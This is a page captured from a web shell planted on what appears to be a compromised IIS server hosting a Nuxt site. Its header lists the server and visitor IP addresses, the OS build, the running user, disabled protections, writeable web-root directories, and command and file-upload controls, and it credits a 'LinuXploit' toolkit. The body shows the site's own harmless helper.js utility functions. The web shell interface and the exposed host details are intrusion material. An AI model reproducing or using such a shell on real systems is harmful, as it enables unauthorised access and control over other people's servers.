403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/parsmega.nuxt/helper/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/parsmega.nuxt/helper/helper.js

export function addScopeIdToHtmlStringTags(htmlString, scopeId) {
    return String(htmlString)
        .replace(new RegExp("<b>", "g"), `<b ${scopeId}>`)
        .replace(new RegExp("<div>", "g"), `<div ${scopeId}>`)
        .replace(new RegExp("<p>", "g"), `<p ${scopeId}>`);
}

export function convertToEnNumber(value) {
    if (!value) return value;

    value = value.replace(new RegExp('۰', 'g'), '0').replace(new RegExp('٠', 'g'), '0');
    value = value.replace(new RegExp('۱', 'g'), '1').replace(new RegExp('١', 'g'), '1');
    value = value.replace(new RegExp('۲', 'g'), '2').replace(new RegExp('٢', 'g'), '2');
    value = value.replace(new RegExp('۳', 'g'), '3').replace(new RegExp('٣', 'g'), '3');
    value = value.replace(new RegExp('۴', 'g'), '4').replace(new RegExp('٤', 'g'), '4');
    value = value.replace(new RegExp('۵', 'g'), '5').replace(new RegExp('٥', 'g'), '5');
    value = value.replace(new RegExp('۶', 'g'), '6').replace(new RegExp('٦', 'g'), '6');
    value = value.replace(new RegExp('۷', 'g'), '7').replace(new RegExp('٧', 'g'), '7');
    value = value.replace(new RegExp('۸', 'g'), '8').replace(new RegExp('٨', 'g'), '8');
    value = value.replace(new RegExp('۹', 'g'), '9').replace(new RegExp('٩', 'g'), '9');

    return value;
}

export function getDateDeference(publishDate, translate) {
    const blogDate = new Date(publishDate);
    const today = new Date();
    const diffTime = today.getTime() - blogDate.getTime();
    const diffDays = Math.ceil(diffTime / (1000 * 60 * 60 * 24));


    if (diffDays == 0) return translate("today");
    if (diffDays == 1) return translate("yesterday");
    if (diffDays > 1 && diffDays < 7) return diffDays + " " + translate("days ago");
    if (diffDays == 7) return diffDays + " " + translate("week ago");
    if (diffDays > 7 && diffDays <= 30) {
        let month = Math.floor(diffDays / 7);
        return month + " " + translate("week ago");
    }
    if (diffDays > 7 && diffDays <= 365) {
        let monthDif = Math.floor(diffDays / 30);
        return monthDif + " " + translate("month ago");
    }

    var yearDif = today.getFullYear() - blogDate.getFullYear();
    return yearDif + " " + translate("years ago");
}

export function getUrlParameter(name) {
    name = name.replace(/[\[]/, '\\[').replace(/[\]]/, '\\]');
    let regex = new RegExp('[\\?&]' + name + '=([^&#]*)');
    let results = regex.exec(location.search);
    return results === null ? "" : decodeURIComponent(results[1].replace(/\+/g, ' '));
}

export function isEmailValid(email) {
    email = convertToEnNumber(email);

    var filter = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
    return filter.test(email.trim());
}

export function isNullOrEmpty(value) {
    if (!value) return true;
    return value.toString().trim() === '';
}

export function isEnCharactersOnly(value) {
    let pattern = /[0-9a-zA-Z-\s]+$/;
    return pattern.test(value);
}

export function convertImagePathToAvif(imageUrl) {
//     if (!imageUrl) return "";
// // Check if the URL has a valid extension
//     const urlParts = imageUrl.split('.');
//     if (urlParts.length < 2) {
//         return imageUrl
//     }

//     // Change the last part of the URL to 'avif'
//     urlParts[urlParts.length - 1] = 'avif';

//     return urlParts.join('.');
return imageUrl;
}

Youez - 2016 - github.com/yon3zu
LinuXploit